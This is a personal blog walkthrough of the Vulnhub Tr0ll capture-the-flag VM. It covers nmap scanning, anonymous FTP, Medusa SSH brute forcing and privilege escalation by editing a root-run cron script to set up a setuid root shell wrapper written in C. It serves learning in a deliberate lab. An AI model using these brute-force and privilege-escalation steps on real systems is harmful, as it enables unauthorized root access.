My First CTF


After watching an infosec talk off Iron Geek’s channel (big surprise) where someone talked about how 70%+ of their skills were learned by doing CTFs, I thought it was time for me to get going and fast.


This article is part diary and part walkthrough for the CTF I did.


CTF: Tr0ll


Where to get the VM: Vulnhub Tr0ll


Setup

For this CTF I used one machine, which was a Debian base along with VMware Workstation 11 for both the Tr0ll VM and for Kali.


What follows is the steps I used to get root and capture the flag. Along the way, I’ll pepper in my thoughts while doing this VM and include any other tools I used.


Step One: Where Art Thou?

So, I got the Tr0ll VM rocking and I’m ready for business. The first step is to figure out what IP I need to use to connect to the server. I read about NetDiscover, but ended up just using NMAP.


For those interested in NetDiscover and with a Debian-based system, you may need the following two installs:


1
2
sudo apt-get install libnet1-dev
sudo apt-get install libpcap-dev

Also, here’s a man page on Iron Geek for it.


To get the IP using NMAP, I did this:


1
nmap -sP 172.16.65.1/24

I was then promptly given the target’s IP of: 172.16.65.128.


Step Two: Ports n Things

Next, I did another NMAP to figure out what ports were ready for action.


1
nmap -sV -A 172.16.65.1/24

Results


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 172.16.65.128
Host is up (0.0020s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable]
22/tcp open ssh (protocol 2.0)
| ssh-hostkey: 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|/secret
|_http-title: Site doesn‘t have a title (text/html).

My first step was to hit Robots.txt and see what goodies it might be trying to hide. The file had:
Disallow: \secret


Well, geez, I just have to visit /secret now right? I do and am greeted with this:


alt text


LOL. I’m being taunted already. Ok, time to step it up.


Since the web is currently a dead end, I’m pivoting over to FTP as there’s a juicy Anonymous FTP all ready to go.


FTP:



  1. Got 530 this FTP server is anonymous only. (hmmmm)

  2. Redid login with “anonymous” as user and just hit return for the pass. (booom, I’m in)

  3. Performed “ls” command and saw lol.pcap file sitting there.

  4. Performed “get lol.pcap /home/me/“ (to grab file for analysis)

  5. Opened the lol.pcap file in Wireshark and selected “Follow TCP Stream”

  6. FTP-DATA in frame 40 has a message containing: sup3rs3cr3tdirlol

  7. I decided to re-visit the web and start by going to /sup3rs3cr3tdirlol — Jackpot. There’s a file called: roflmao

  8. Downloaded the bin file and opened it in Gedit to take a look. LOL All sorts of stuff. Ok, there’s a better way.

  9. I learned about the command strings, which is awesome. Check this out.


1
$ strings roflmao

The output is a bunch of strings. Notice toward the top we have the string:


1
Find address 0x0856BF to proceed

Sweet. Let’s go back to the web with that.


Step Three: Directory Trolling

I went to /0x0856BF/ in my browser and sure enough, there’s more.


I’m now presented with two new folders:



  1. good_luck

  2. this_folder_contains_the_password


Wow, could it be this easy?


Each folder has a TXT file in it that looks like user credentials. Time to merge these into one.


1
$ cat Pass.txt >> which_one_lol.txt

Since it looks like I have some credentials, I’m feeling the need to check out SSH.


Step Four: Medusa Mayhem

I was thinking of just manually trying all the SSH combos I had, but I figured there had to be a better way. I learned about Medusa.


Initially, I made some mistakes, so I decided to go read a walkthrough for this VM to see how to properly use Medusa. Quickly, I was back on track. Here’s the code I ran:


1
$ medusa -h 172.16.65.128 -U usernames.txt -p “Pass.txt” -t 10 -L -M ssh

In the above code, Medusa will try to SSH by iterating through “usernames.txt” and each time use “Pass.txt” as the password. As a side note, lowercase is what to use when you want to pass a value directly, as is the case with “Pass.txt” and the uppercase is used for passing in a file name.


After a little bit, I received an awesome message from Medusa:


1
2
RESULT:
ACCOUNT FOUND: [ssh] Host: 172.16.65.128 User: overflow Password: Pass.txt [SUCCESS]

Yes!


I feel like I’m getting close now. Time to SSH into this bad boy.


Step Five: LOL Boot

After SSHing into the box, I copy out some random files and then get booted. WTH?


Wow, this is fun. There’s a cronjob running to boot users. Let’s fix that.


Step Six: Cron No

After getting back into the box, I ran the following commands:


1
2
3
4
5
6
$ cd /var/log
$ cat cronlog
$ find / -name cleaner.py 2>/dev/null

Result:
/lib/log/cleaner.py

Ah hah. There you are. Let’s clean that up. :)


1
$ nano /lib/log/cleaner.py

I commented out the system command like so:


1
2
3
4
try:
#os.system(‘rm -r /tmp/)
except:
sys.exit()

Just in case you’re not familiar with Python and/or sys commands, this script is trying to rm all from /tmp/ and exiting if it can’t.


Ah, so nice. This script will no longer dump the contents of the /tmp/ directory, which means we can use it.


Step Seven: Turning Your Tool Against You

So what we have here is root running a Python script every so often. This is dangerous.


I knew that this was the key to me solving this CTF, but I wasn’t sure how exactly to accomplish my goal. Therefore, I looked at some walkthroughs and learned that I needed to compile a C program and have the Python script execute it.


Since this C wrapper is something that can be used often, I’ll post it here.


1
2
3
4
5
#include <stdio.h>
int main(void) {
setgid(0); setuid(0);
system(“/bin/bash”);
}

Here’s a quick sidebar on how to compile this C program on the Tr0ll box. Run these commands:



  1. $ nano /tmp/pwn.c

  2. Paste in that C code from above and save the file.

  3. $ gcc /tmp/pwn.c -o pwn


Compile that code in the /tmp directory then go back to the python script and add an OS execute with the file, like so:


1
os.system(‘chown root:root /tmp/pwn; chmod 4755 /tmp/pwn’)

And now kick back and wait for the script to run again. When it runs, it’s going to boot me out then unwittingly make me a winner.


Side note: The cleaner.py script is Python and Python is a whitespace language, so tabs and spaces matter. If you find the code isn’t working for you, check to ensure that you don’t have spacing issues.


Step Eight: Tr0ll Harder

I logged back into the box and immediately went over to /tmp/. Yes! My file was sitting there all pretty. Now to execute it and get r00t.


1
$./pwn

BOOM! I am root!


1
2
3
4
5
6
7
$ cd /root
$ cat proof.txt

Good job, you did it!


702a8c18d29c6f3ca0d99ef5712bfbdc

EXTRAS

To get the flag, I used privilege escalation with the C wrapper. However, there are multiple ways to defeat this CTF.


Think about it. You have root executing a python script and doing whatever in the heck it says. That’s pretty powerful.


Just go back to the cleaner.py script and replace the try with whatever you want to run.


One idea I saw was to copy your pub SSH key to /tmp then have root throw it into .ssh when it runs the cleaner script. Neat!


I had an absolute blast doing this CTF. I immediately went on to Tr0ll 2 and plan to do many, many more.


*If you find any errors or have comments about this walkthrough, hit me up on Twitter @jasonamartin.


alt text